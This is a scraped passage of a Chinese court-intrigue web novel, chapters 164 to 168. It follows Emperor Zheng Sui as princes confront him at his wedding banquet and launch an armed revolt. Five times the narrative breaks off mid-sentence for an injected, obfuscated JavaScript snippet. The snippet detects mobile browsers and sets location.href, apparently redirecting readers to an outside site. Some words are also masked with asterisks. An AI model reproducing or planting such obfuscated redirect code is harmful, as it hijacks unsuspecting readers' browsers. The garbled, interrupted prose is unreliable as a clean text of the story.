盛大的典礼在繁琐庄重的仪式中终于落下帷幕,百官依次退出太和殿广场,等待婚宴。 当晚,麟德殿再度设宴,款待宗室亲贵及朝中众臣。 殿内氛围还算和谐,之前表面看去,还是一派君臣同乐、其乐融融的景象。 郑遂高居御座,冕旒已除,只戴金冠。 他举杯与众人共饮,谈笑风生,仿佛并不知下方的波诡云谲。 韩王依旧坐在显眼处,脸上带着看似爽朗的笑容,与左右推杯换盏,眼神却不时扫向御座。 时机到了,清河王援军已至,今天就是他发难的时候。 但还需要一个契机,得有人挑起这个头。 韩王转过头,意味深长的看向清河王。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287994|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 清河王也不服郑遂,二人早就商议好,这件事得由清河王起头。 只是这么半天了,怎么也没见清河王开口主动说上一句话呢? 这让韩王心里有些焦急。 而兀自饮酒的清河王似乎是感受到了韩王投过来的目光,也看向了韩王,递给了他一个意味深长的眼神。 似乎是在说:且等一等,让他高兴一会儿。 韩王心里有些发闷。 都已经这个时候了,还有什么可继续等待呢? 能让郑遂有个皇后,都已经算是恩赐了。 韩王再一次给清河王递过去了一个眼神,催促他快一点。 可清河王却恰在此时别过了头去,没有留意到韩王的目光。 韩王心里憋了一口气,信息传递不出去,又不好让自己身边的人贸然去找他,就只能耐着性子等着。 等待会儿酒过三旬,就想个办法到清河王身边去,借着与他喝酒的名义提醒他。 秦王则坐在角落,一杯接一杯地闷头喝酒,脸色在酒醉之下显得更加黑沉,对周围的喧嚣充耳不闻。 他同样等待一个时机却等不到,心里烦躁的紧。 他今天就是要从郑遂的围困之中杀出一条活路来,否则,他们二人必死一个。 可谁都没有发现,坐在角落里一个不起眼的位置上的魏王则有些坐立不安,他目光闪烁着,频频看向上首某处。 酒过三巡,气氛在刻意的营造下显得愈发热烈。 就在一曲舞毕,内氛围达到了高潮之时,韩王瞅准时机,打算去到清河王身边。 但是他还未来得及起身,一道突兀而的声音骤然响起。 “陛下!臣弟……有话要说!” 众人循声望去,只见魏王猛地站起身。 他身体微微摇晃着,脸颊通红,像是酒醉,可却显得极为怪异。 像是上坟时用的纸扎小人上,被腌制强行的涂了两坨红。 在众人诧异的注视下,魏王踉跄着走到大殿中央,直勾勾地看向御座上的郑遂。 第164章 好戏才刚开始 殿内瞬间安静下来,丝竹之声也戛然而止。 所有人都屏住了呼吸,惊疑不定地看着魏王。 韩王刚要站起来的身子停在半空,眼神微凝。 片刻之后,他疑惑的坐了回去。 秦王也抬起了头,满脸惊讶的看着魏王。 徐妙晴的笑容则是僵在了脸上,转头惊疑不定的看向站在自己身侧扮作太监的南宫治。 可对方并不方便给她回应。 郑遂放下酒杯,脸上笑容依旧。 “哦?魏王有何话,但说无妨。” 魏王突然抬起手指着郑遂,声音陡然拔高。 “我不服!若非……若非当年父皇偏心,以我母妃的地位,以我的能力,这皇位……这皇位本该是我的!是我的!你……你凭什么坐在这里接受百官朝拜?!” 魏王越说越激动,唾沫星子几乎要飞溅出来。 “若非是你,今日接受册封的皇后,就该是……” 众人被魏王这话给惊了个七荤八素。 就算大家心中再怎么对魏王不满,哪怕嚣张跋扈如徐敬意,哪怕是两次谋反的秦王,从来没敢当着郑遂的面说这些话。 这就是明晃晃的在觊觎皇位了! “魏王!”徐妙晴终于忍耐不住,急切的打断。 “你喝醉了!胡言乱语什么?!还不快退下!” 随后连忙看向郑遂。 “皇帝!魏王他定是今日多饮了几杯,失心疯了!说的都是醉话,当不得真!今天是你的好日子,不宜见血腥。还请看在他年轻不懂事,又是你亲兄弟的份上,万勿动怒,让他回去醒醒酒便是!” 徐妙晴这番替魏王开脱的话,未来的极为突兀。 不过这个时候,似乎也没有人留意到她了。 所有人的目光都聚焦在郑遂身上,等待着他的反应。 郑遂脸上的笑容没有丝毫变化,他将目光缓缓投向了太后徐妙晴。 “母后说得是。”郑遂温声道? “魏王弟年轻气盛,今日又逢大喜,多饮了几杯,一时失言,也是有的。” 郑遂忽然一顿,目光停留在了徐妙晴脸上。 徐妙晴心头猛地一跳,抓着裙摆的手也不自觉地紧了紧。 “只是……”郑遂话锋一转。 “母后也当谨记,身处后宫,当以慈和安宁为要。朝堂之事,自有朕与诸位大臣、宗亲共议。母后年事渐高,颐养天年方是正理。这等兄弟间的醉话,母后实在不必亲自劳神,更不必……急着替朕分忧。” 这番话说的轻飘飘的,却字字如针! 表面上是体恤太后辛劳,让她颐养天年,实则是在提醒徐妙晴后宫不得干政! 更是在警告她,不要试图在这种时刻跳出来为藩王阵营说话! 徐妙晴脸上的笑容瞬间僵硬,强装的镇定自若要挂不住。 郑遂的目光比刀子还利,将她那点心思剖得清清楚楚。 一股寒意从脚底直窜上来? 他知道了? 他又知道什么了? 不对,郑遂或许什么都不知道,但自己刚才那急于替魏王开拓的一番话,却早就已经把她我的心思剖得一清二楚。 如今骑虎难下,徐妙晴若不急流勇退,她就得跟着魏王一块儿**。 “皇帝……说的是。”徐妙晴勉强维持着太后的仪态,却不敢再看郑遂的眼睛,垂下了眼帘。 “是哀家……多虑了。”徐妙晴后退了半步,坐回龙椅上。 郑遂这才将目光重新投向还在一脸愤怒看着自己的魏王。 “魏王醉了,来人。” “在!”殿外立刻传来禁卫的应声。 “送魏王殿下回驿馆歇息,好生看顾,让他醒醒酒。没有朕的旨意,任何人不得打扰。” “遵旨!”两名身材魁梧的禁卫大步走进殿内,一左一右,看似搀扶,实则牢牢架住了还想挣扎的魏王。 “放开我!我没醉!我说的都是……”魏王还在挣扎着叫嚷,声音却被禁卫毫不客气地捂住嘴,被半拖半架地带离了麟德殿。 殿内一片死寂。 方才还喧嚣热闹的宴会,因为魏王这番突然的举动,而瞬间冷了下来。 歌舞停了,丝竹息了,所有人都低着头,连大气都不敢喘一口。 韩王脸上故意装出来的,为郑遂高兴的笑容此刻已经在目睹魏王的闹剧之后彻底消失了,眼神中的阴鸷根本掩盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287995|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住,一眨不眨的盯着御座上的郑遂。 郑遂的反应太快、太稳、太狠! 魏王这个蠢货不知为何忽然莽撞,可是正随不仅没有丝毫措手不及的反应,甚至连一点怒意都没有表露出来。 他一箭双雕,干净利落地处置了挑衅者,更不动声色地狠狠敲打了太后,震慑了全场。 这份心机和手段…… 韩王心里隐隐约约的有些发怵。 他知道,就算是自己的时机来了,可他心中对胜算的把握,也没有原来那么大了。 倒是郑遂,被魏王这般冒犯之后,依旧风轻云淡,甚至连脸上的笑容都未减半分。 就仿佛什么都没发生过,重新端起酒杯,对着殿内噤若寒蝉的众人微微一笑。 “一点小插曲,扰了诸位雅兴。来,朕再敬诸位一杯,愿我大郑,国泰民安!” “臣等恭祝陛下!万岁,万岁,万万岁!” 短暂的死寂后,反应过来的群臣慌忙起身,齐声应和,举杯共饮。 只是在惶惶不安之下,这杯酒喝在众人嘴里早已变了滋味。 徐妙晴脸色苍白,指尖冰凉。 她有些惶惶不安的再次看了一眼身旁的南宫治。 这回没了郑遂那凌厉目光的注视,南宫治终于有机会用眼神与徐妙晴交流了。 可意外的是,南宫治对刚才魏王闹出的这一档子事业是丝毫准备都没有。 一向在徐妙晴面前张弛有度,甚至能将徐妙晴拿捏在掌心里的南宫治,此刻表情之中竟也出现了几分茫然。 徐妙晴不解的看着他,南宫治这才低下头,迅速回应了一句。 “刚才根本没喝那么多酒……” 言下之意,魏王并非酒醉。 除非他撞了邪,不然就只能用他愚蠢至极,连挑起事端这件事都做不好了! 徐妙晴倒吸一口凉气,心中大骂魏王,更痛恨南宫治。 他在事发之前盘算的如此详尽,可为何就没考虑到魏王也是个二百五! 他怎么敢用魏王的! 郑遂放下空杯,目光扫过下方神色各异的众人,尤其是在韩王和秦王脸上停留了一瞬。 好戏,才刚刚开始。 第165章 全都疯了 终于,在氛围很压抑几分的时候,除了魏王**时才抬头看了一会儿以外,一直在默默喝着闷酒的秦王的憋闷情绪到达了顶峰,终究是爆发了。 “陛下,臣有话要说!” 众人猛地抬头看去,只见秦王脸上醉酒的酡红顷刻间变的铁青,猛的站起身来。 他动作太大,将面前的案几狠狠的撞了一下,桌上的酒杯碗碟歪歪斜斜的碰撞在一起,接着稀里哗啦的掉了一地。 在一片惊呼声中,他猛的抽出自己的佩剑冲上了大殿正中央。 “陛下!皇兄!”秦王的嘶吼声响彻大殿。 “臣弟有些话,憋在心里太久了!今日不吐不快!” “放肆!秦王!你想干什么?!”殿前护卫长厉声呵斥,手已按上刀柄。 “让他说。” 御座之上,郑遂的声音忽然传来。 他没有一丝一毫的震惊,甚至像看一场与自己无关的好戏一般,就那么静静的注视着秦王,表情都没变化一点。 郑遂的反应,反而是让众人的震惊从秦王转移到了他的身上。 然而郑遂不为所动,任由让人打量。 他早已预料到今夜不会平静,只是秦王的“剧本”,似乎比魏王的醉话要精彩一些。 “陛下!”禁卫转头,急切的看着郑遂。 秦王逆贼,怎可放过? 然而郑遂只微微抬手,又一次止住了禁卫的进一步动作。 秦王停在阶下,仰头直视郑遂。 “陛下,您口口声声承继大统,口口声声帝王威仪!可臣弟亲眼所见,您当年初登大宝,却被徐敬意这区区佞臣囚于深宫,**于股掌之上!” 众人倒吸一口凉气。 这话秦王都敢说? 疯了疯了,全都疯了! 徐敬意的脸都黑了,目光狠狠的盯在他身上。 如果眼神能够**,秦王此刻怕是早就已经被徐敬意**万段了。 然而秦**明已经留意到了徐敬意的目光,却根本就不把他放在眼里。 继续满脸怒容的对着郑遂谴责道:“徐敬意他一个臣子,竟敢挟天子以令诸侯!这大齐的龙椅,您坐得稳吗?!您连一个臣子都制不住,任由他把持朝政,结党营私!臣弟斗胆问一句,陛下如此,算不算无能?!” 徐敬意变得更加难看了,气的嘴唇哆嗦着。 可比起愤怒,更多的却是惊慌心虚。 在众人看不见的地方,他的后背已被冷汗浸透。 徐敬意求助似的看向徐妙晴,徐妙晴却避开了他的视线。 “而我!”秦王猛地将剑指向徐敬意。 “我见君主蒙辱,社稷危殆,我起兵清君侧,要将这祸国殃民的奸贼除去,还您一个堂堂正正的帝王之位!可您是怎么回报我的?” 秦王的身子剧烈颤抖着,满脸愤恨的盯着郑遂。 “您却听信这奸佞之言,视我为叛逆!两度派重兵围剿于我!让手足相残,令天下人齿冷!皇兄,您告诉我,这是否是昏庸?!” 郑遂听得清清的笑了起来。 甚至饶有兴致的歪过头,用手拄着腮帮,缓缓问道:“还可否有其他的不满?” “当然!” 秦王斩钉截铁,丝毫不拖泥带水的说道。 “臣要问您,您为了夺回皇权,不用正大光明的手段,反而尽使些见不得人的招数,这是否是小人作为!您背后算计,步步为营,将我们这些兄弟**于掌心!您这手段,难道就不龌龊?!” 秦王字字诛心,句句控诉,是已经彻底豁出去了。 他把所有的责任都推到郑遂的无能昏庸、小人行径之上,反而将自己两次谋反描绘成了忠君爱国的无奈之举。 这底下看过了全城的人即便心知肚明,事实如何,更知秦王颠倒黑白,但却也不得不承认,至少在气势上,秦王已经足够显得悲壮委屈了。 郑遂静静地听着,脸上的玩味之色越来越浓。 他知道秦王今天要生事,但确实没想到对方脸皮竟厚到如此境地,能把“清君侧谋大位”美化至此,还反咬一口说自己手段不正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287996|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 郑遂被秦王这颠倒黑白、倒打一耙的无耻行径彻底气笑了。 低沉的笑声从郑遂喉间溢出,众人都屏息凝神,谁也不敢说话。 甚至恍恍惚惚间,他们好像感觉到有一阵阵的寒气从无形之中冒出来,直往他们的骨头缝里钻似的。 直到秦王脸上愤恨的表情愈发浓重,被逼到了极致,像是终于要崩溃之时,郑遂才笑声渐歇。 但他的目光并未停留在面目狰狞的秦王身上,反而扫向了下方如坐针毡的徐敬意。 “精彩,真是精彩绝伦。”郑遂忽然开口。 “秦王这清君侧的赤胆忠心,朕今日算是开了眼界。” 郑遂话锋陡然一转,声音微提。 “徐相,你觉得……秦王方才所言,可有几分道理?朕……是否真如他所说。而你,身为他口中的祸国之源、挟制朕的权臣,此刻又作何感想啊?” 大殿之上,所有人的目光瞬间聚焦到徐敬意身上! 徐敬意身子一僵,冷汗终于如同暴雨般哗的落下。 秦王这疯子,是要拉他一起下地狱吗?! 魏王忽然发癫,他又迟迟等不来南宫治的暗号,本就心神大乱,此刻被郑遂当众点名质问,更是魂飞魄散。 靠人不如靠己! 徐敬意终于忍不住,硬着头皮,连滚带爬地冲出座位,噗通一声跪倒在阶下,对着郑遂重重的磕了一个响头后,转身怒视着秦王,高声怒斥。 “秦王殿下!你……你血口喷人!老臣对陛下忠心耿耿,天日可鉴!陛下雄才大略,英明神武,其功绩岂是……岂是你能妄加揣度的?!” 徐敬意激动得几乎语无伦次,极力为自己剖白。 但在郑遂那似笑非笑的逼视,和秦王喷火的目光下,徐敬意那点可怜的说辞显然十分苍白无力。 到最后,他甚至开始控制不住的结巴起来。 “秦王自己不……不忠……不要……不要牵连到旁人!” “哈?!”秦王狂笑一声,目光灼灼的看着徐敬意。 第166章 恕秦王死罪 “老贼!事到如今你还敢狡辩?!本王问你,先帝驾崩不足百日,是谁紧闭宫门,隔绝内外,将陛下视若囚徒?是谁假传谕旨,威逼后宫?若非陛下后来……哼!” 秦王话未说完,可已经胜似千言万语。 “若非天命不佑,如今坐在上面的,是你这老狗还是陛下?!你还有脸说你忠心?!天下奸佞,莫过于你徐敬意!” 徐敬意被噎得面如死灰,嘴唇哆嗦着再说不出一个字。 郑遂则适时地发出一声冷笑。 “够了。”郑遂的目光终于落回状若疯癫的秦王身上。 “秦王,泼天的污水你已泼了,颠倒的黑白你也翻了。现在,收起你这套演戏的把式。朕只问你一句。” 郑遂微微俯下身,凝视着秦王的眸子。 “你今日,到底想如何?” 秦王身体剧烈地抖了一下。 郑遂这轻飘飘的一句实则直指核心,反而让他一时语塞。 他知道,再不拼死一搏,今日自己便绝不可能活着离开这京城了! 与其被郑遂赐下一条白绫或一杯毒酒,甚至是被推出去当众斩首、凌迟,还不如…… “我想如何?!”秦王狂吼一声,“我只要问陛下一句话,在陛下看来,臣清君侧之举,是否与谋逆无异?” 郑遂被他的话给气笑了。 是否是谋逆,他自己心里有数。 不是秦王不想承认,便可以装作什么都没有发生过的。 郑遂微微俯身,盯着秦王的眼睛,一字一顿的问道。 “你自己觉得呢?” 秦王冷笑一声。 好,既然如此,那便不必留情。 秦王动作快如闪电,刚才指着徐敬意的剑锋猛然回转,在所有人反应过来之前,手中剑刃已然紧贴在他自己的脖颈上。 一道血痕瞬间沁出! “陛下!!!” “秦王!!!” 惊呼声响彻整个麟德殿! 众人面上全都骇然变色! 藩王当殿自刎? 郑遂的瞳孔亦是猛地一缩。 他确实要杀秦王不假,但不该是这样。 是要名正言顺,而不是让他在大庭广众之下,在自己的登基大典和封后宴席上表演自刎! 否则传出去,天下人会如何看待他这个皇帝? 逼死手足于大宴之上,与商纣何异? 可就在郑遂思虑着该如何制止的电光石火之间,秦王忽然诡异一笑。 原本被他抵在脖颈的剑锋倏地向下一滑,迅速移开,接着左手猛地抓住自己的束发金冠,狠狠一拽。 冠冕坠地,一头黑发瞬间披散开来。 众人都被这突如其来的转折惊住了。 他这又是唱的哪一出? 在众人还未反应过来之时,秦王直接将手中佩剑调了个方向,倒转剑柄,握在手中,剑刃直接削向了自己的头发。 只听得一阵令人牙酸的“嚓嚓”声响起,黑发纷纷飘落。 “哈哈……哈哈哈……”秦王一边疯狂地割着自己的头发,一边发出刺耳的狂笑。 他动作野蛮迅速,转眼间已将大半头发粗暴地剃去,露出青白的头皮和因为过于用力而留下的道道血痕。 “够了!”郑遂厉声喝止。 秦王的动作应声而停。 他抬起头,直勾勾地看向郑遂,嘴角勾起一抹邪笑。 “陛下息怒,臣自知罪孽深重,屡犯天颜,辜负圣恩。今自愿剃发易服,皈依佛门!放下这万丈红尘,抛却这王图霸业!” 他一字一句,掷地有声。 “贫僧愿余生常伴青灯古佛,为陛下,为我大郑江山社稷,日夜诵经祈福!恳祈上苍,洗刷吾罪!只求陛下……给贫僧一个赎罪的机会!” 秦王将手中沾满碎发和血迹的长剑哐当一扔,镇定自若地注视着郑遂。 他倒要看看,自己这般郑遂还能拿他如何! 整个大殿一片死寂…… 所有人都被秦王这荒诞骇人的举动彻底震懵了。 剃发出家?当殿皈依? 郑遂看着阶下剃光了半边头发、状若疯魔却又口称“赎罪”的秦王,心中冷笑连连。 好一个秦王!好一出以退为进! 以死相逼不成,竟使出这样的金蝉脱壳之计! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287997|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是仗着佛门清贵,仗着“放下屠刀立地成佛”的俗谚,仗着他一旦披上袈裟当了和尚,自己若再以皇权杀他,便会激起物议甚至引来佛门不满,就奈何他不得了吗? 他以为只要成了方外之人,就能逃离国法,苟延残喘? 甚至以出家人的身份隐在暗处,继续兴风作浪? 天真!愚蠢至极! 他若刚才以死相逼,或许郑遂真的不能拿他怎么样。 可秦王如今这番举动,非但没让郑遂升起放过他的念头,反而让他更坚定了一定要杀他。 “你可知,身体发肤受之父母。你如今当众剃发,难道是对先帝的诅咒吗?” 郑遂缓缓站起身来,冰冷的目光落在秦**溜溜的头上。 “你是想让父皇在九泉之下也不得安宁?你这分明就是冒犯天颜!朕岂能容你?!” 秦**惊地看着郑遂。 当朝向来礼重佛法,他都已然这般,郑遂竟半点退缩之意都没有吗? 既如此,那就只能图穷**见了! 秦王的手重重地按在了腰间,那里藏着一只信号烟花。 只要他放出去,自己那些提前埋伏在皇宫周围的清兵护卫就会立刻闯进宫来。 便是今天不能拖着郑遂一起下地狱,他也要搅乱了这朝堂! 且藩王之中,不服郑遂者,不止自己一个。 他倒要看看,一旦这朝堂乱了,郑遂还能否安安稳稳地坐着他的皇位! 然而就在千钧一发之际,身侧不远处,忽然传来一声悲鸣。 “陛下!!!” 秦王被吓了一跳,猛的转过头去。 竟然发现,是一直按兵不动的韩王霍然起身。 他推开身前案几,大步走到大殿之中,撩起**袍前襟,扑通一声跪倒在地。 此番变故,让所有人又是一惊。 这韩王也跳出来了?! 如今这场面,可真是越来越精彩了! 韩王并未看身边的秦王,而是昂首直逼御座。 韩王声音陡然变得悲切,字字句句皆是哀求。 “臣恳请陛下开恩!饶恕秦王殿下死罪!” 第167章 谁说本王** “陛下,秦王殿下虽有失当,然其拳拳忠君之心,苍天可鉴!他先前发兵,何尝不是为了清肃君侧!为陛下扫除徐敬意这等魑魅魍魉!” 韩王再次将矛头指向徐敬意,字字泣血。 “徐贼!你祸乱朝纲,离间天家,实乃万恶之首!其罪罄竹难书!楚王一向体弱,你尚且不顾惜,在云州府将其惊吓致死!你可还记得?!” 说完这话,韩王猛的转头看向郑遂。 声音中带上了几分质问:“陛下,臣惊闻楚王弟被徐贼吓的病逝,一心想为王弟报仇!可念及陛下在京中处境,臣不敢公然杀了徐贼,便只能暗中给他下了**。按时间算,徐贼如今只怕早已尸身都凉了!但……” 韩王话锋陡然一转,矛头直指郑遂。 “但陛下,臣有一事不明!臣下的乃是精心配制的剧毒,世间解药,唯有臣有!臣自然不会把解药给徐敬意这老贼,所以为何!为何他如今竟能满面红光、好端端地坐在这里?!” 韩王目光狠狠刮过徐敬意那张惊魂未定的脸,最终死死钉在御座上的郑遂身上。 “臣斗胆请问陛下,这普天之下,还有谁,能有如此通天彻地之能,不惜一切代价,遍寻名医,千方百计也要救回这祸国殃民的老贼一条性命?!” 还有谁? 不需要韩王再明言,答案已经呼之欲出。 所有人的目光,都整齐划一的投向了龙椅上的郑遂。 郑遂心中冷笑连连。 好一手祸水东引! 这韩王,反应不可谓不快。 表面上是在为秦王求情,痛斥徐贼,实则句句都在将矛头引向自己。 他承认毒杀徐敬意,乃是欲扬先抑,最终要抛出的是徐敬意被救活这个奇迹,质问谁有如此能力。 他的意图,分明是在指控他郑遂包庇奸佞,为了利用徐敬意制衡藩王,不惜救下这万恶之首,其行径比徐贼本身更令人不齿。 韩王这是在陷郑遂于不仁不义之地! 郑遂微微眯起眼睛,冷冷地迎上韩王咄咄逼人的视线,缓缓开口。 “哦?依韩王高见,你认为,该是谁?” 韩王被郑遂这冰冷的反问噎了一下。 但他此刻已是箭在弦上,不得不发。 他强压下心头的一丝慌乱,梗着脖子道 “臣不知,臣也不敢妄自揣测圣意!但臣知道一件事……” 韩王猛地指向已经面如土色的徐敬意,高声道。 “放过这等祸乱朝纲、离间天家的巨奸国蠹,无异于纵虎归山,遗祸无穷!谁救了他,谁就是与我大郑江山为敌,与天下苍生为敌!这种事,就该死!” “所以?”郑遂歪了歪头,等待着韩王的后话。 韩王深吸一口气,再次重重叩首。 “所以,臣恳请陛下,放过秦王。” 他仰起头,满脸恳切,可实则眼中满是挑衅。 “秦王殿下虽有僭越,然其心可悯。臣恳请陛下,念在手足之情,念在秦王殿下剃发赎罪之诚,饶恕其死罪。允其皈依佛门,为我大齐祈福。陛下若开此恩典,臣等必肝脑涂地,永感圣德!” 郑遂嘴角勾起一抹意味深长的弧度,微微挑眉,反问道。 “那如果……朕不呢?” “不?”韩王猛地抬起头,眼中最后一丝伪装也彻底撕去。 他不再跪伏,而是挺直了腰背,声音陡然变得森冷。 “陛下若执意不肯放过秦王,不肯为枉死的楚王弟主持公道,不肯处置这满朝皆知的奸佞徐贼,那臣,也只能效仿先贤,行那‘清君侧、**难’之举了!” 话音未落,韩王便猛地转头,看向清河王。 时机已到,可以行动了! 与此同时,一直伺机而动的南宫治眼见韩王终于发难,也立刻转身,悄无声息地向殿门方向挪去,准备发出信号,调动他掌控的人马。 然而就在大战一触即发之际,大殿之外,那沉重华丽的殿门方向,忽然传来一道虽然虚弱却无比清晰的声音。 “谁说……本王**?” !!! 韩王如遭雷击,身体猛地一僵? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287998|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他猛地转过头,难以置信的看向身后声音来源之处。 只见麟德殿的大门不知何时被打开了,殿门口,一道清瘦的身影正缓缓步入。 来者身着亲王**袍,面色苍白如纸,身形依旧如印象中一样,单薄得仿佛一阵风就能吹倒,可却明显能看出,他比之前好了很多。 这人正是楚王! 但他身子逐渐康健这事,却并不是让韩王最惊讶的,他震惊的唯有一点:楚王怎么还活着!!! 韩王脸色又青又白,几乎没有人色,表情中已经写满了惊恐。 眼前情景,于他而言和**见了鬼没有半分区别。 而楚王的身后正跟着两列身着玄甲、手持利刃的禁军精锐。 他们沉默地拱卫着楚王,徐徐来到大殿之中。 几乎不需要开口,只是单纯的往那里一站,就已经足够给众人十足的压迫了。 楚王一步一步,走得极慢。 目光穿过呆若木鸡的群臣,越过面无人色的徐敬意,掠过同样惊愕的秦王,最终牢牢地锁定了那刚刚还口口声声要为他报仇,此刻却如见鬼般僵在原地的韩王。 楚王终于在距离韩王数步之遥停了下来,微微歪了歪头,脸上露出一抹有些玩味的笑容。 徐徐开口问道:“王兄……见到臣弟,似乎很意外?” 韩王的脸色骤然变得惨白起来。 “你……你……” “怎么王兄如此惊讶?”楚王的声音陡然转冷。 “还是王兄觉得,臣弟该是已经躺在冰冷的棺椁里,如王兄所愿,尸身早已凉透了?” 韩王终于回过了神,他明白,自己中计了。 “本王从来都没有这么想过!”韩王声音陡然拔高。 随后猛地转过头,看向坐在上首之位的郑遂。 硬着头皮质问道:“楚王弟竟然平安无恙,想来陛下应该没少花费心思吧?只是陛下瞒得臣等好苦,京一丝风声都没有透露过,让天下人都以为王弟已经**,陛下,您此举,到底意欲何为?” 第168章 该收网了 楚王清冷的目光扫过惊疑不定的韩王,嘴角那抹玩味的笑意更深了。 他并未直接回答,反而微微侧身,将众人关注的中心重新让给了御座之上,那位真正掌控全局的帝王。 而随着刚才韩王那声质问,众人也全然明白了今天发生的一切都是郑遂设下的一个局。 大殿内瞬间寂静一片,落针可闻,所有的目光都聚焦在郑遂身上。 韩王的质问最终也直接被忽略,仿若一个跳梁小丑一般。 不管他来之前做了多少准备,也不管起初面见郑遂之时有多么的嚣张跋扈,至少现在他的反应落在众人眼中,只剩下了色厉内荏。 这种感觉无异于当众被人狠狠地打了一耳光,极度的愤怒和羞耻之下,韩王几乎羞愤欲死,想杀了郑遂的心终于在这一刻到达了顶峰。 郑遂缓缓从龙椅上站起身,居高临下地俯视着阶下强作镇定的韩王,脸上表情漠然,更是看的韩王除了愤怒以外,多出了不少的心虚。 他微微向前倾身,淡淡开口,回应了韩王的问题。 “意欲何为?”郑遂重复着韩王的问题,弯唇一笑。 “朕当然是想……要你的命。” 郑遂的话如同平地惊雷,在场之人皆是大惊失色。 他如此直白,已是再无对手续兄弟的任何容忍。 如同阎罗对将死之人的判词:杀无赦! 韩王脸上血色全无。 他所有的算计,都落空了。 他本以为楚王现身是最大的变数,却没想到郑遂早已磨好了屠刀,只等他跳出来! “你、你说什么?!”韩王尖声质问。 郑遂不再看他,早已将对方视作砧板上的鱼肉。 冰冷的视线扫过同样因为自己的直白杀意而僵住的秦王,正欲偷偷后退的南宫治,以及殿内那些心怀鬼胎之人。 “朕说……”郑遂声音微微拔高。 “韩王毒害亲王楚王,构陷忠良,结党营私,今日更在朕登基大典、封后盛典之上,煽动叛乱,图谋不轨。其罪当诛,其心可诛。朕,要他的命!” “郑遂!!!”韩王怒气嘶吼。 他对郑遂早已忍无可忍,也无需再忍! “你欺人太甚!本王跟你拼了!!!” 韩王猛地抓起面前案几上的玉杯,用尽全身力气,狠狠地向地上掼去。 “清君侧!诛昏君!!” “动手!”秦王几乎在杯子碎裂的同一刻也厉喝出声。 他猛地弯腰捡起地上自己那柄沾着血迹的佩剑,冲上前去。 呼啦一声,大殿的门被人从外面撞开了。 大量秦王、韩王的兵马闯入殿内。 南宫治反应最快,在韩王摔杯的瞬间,他已如离弦之箭般扑向殿门方向。 同时从怀中掏出一支信号烟花,猛地拉开引信! 嗤的一声—— 一道刺眼的红光冲破破麟德殿敞开的大门,直射向漆黑的夜空。 “护驾!!!”殿前护卫长和禁军统领的怒吼同时响起。 然而叛乱已然发动! 早已埋伏在宫墙阴影下的韩王、秦王以及南宫治麾下的精锐死士已然爆发,震天的喊杀声不绝于耳。 “杀——!!!” “冲进大殿,诛杀昏君——!!!” 刀剑出鞘的铿锵声、沉重的脚步声、叛军疯狂的呐喊声瞬间淹没了麟德殿外原本肃穆的宫闱。 秦王一马当先,挥剑砍翻一个上前阻拦他的内侍,直扑御阶。 南宫治拔出腰间软剑,直冲向殿门接应外面前仆后继冲进来的叛军。 几名早已被收买的武将也猛地掀翻案几,抽出暗藏的兵刃,咆哮着加入战场。 “保护陛下!保护娘娘!”禁军统领率领精锐禁卫,迅速在御阶前组成一道人墙。 刀锋对外,与冲上来的秦王等人激烈地碰撞在一起。 铮的一声,秦王手中剑刃被生生拦住。 他已怒发冲冠,猛地抬头用一双血红的眼瞪向被禁军护住的郑遂。 怒吼一声,咆哮着试图再次突破。 而阶下,杯盘碗碟被撞得四处飞溅,佳肴美酒洒了一地。 